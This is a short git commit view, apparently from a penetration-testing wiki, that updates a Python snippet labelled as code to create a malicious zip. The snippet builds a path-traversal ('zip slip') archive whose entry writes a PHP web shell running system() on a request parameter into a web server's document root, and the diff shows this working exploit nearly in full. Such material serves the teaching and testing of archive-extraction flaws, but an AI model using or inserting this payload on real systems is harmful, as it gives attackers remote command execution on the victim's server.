GITBOOK-3950: change request with no subject merged in GitBook

This commit is contained in:
CPol 2023-05-28 13:35:03 +00:00 committed by gitbook-bot
parent 28e205b34c
commit 0a0edcec2e
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
1 changed files with 2 additions and 2 deletions

View File

@ -261,10 +261,10 @@ Some python code to create a malicious zip:
```python
#!/usr/bin/python
import zipfile
from cStringIO import StringIO
from io import BytesIO
def create_zip():
f = StringIO()
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')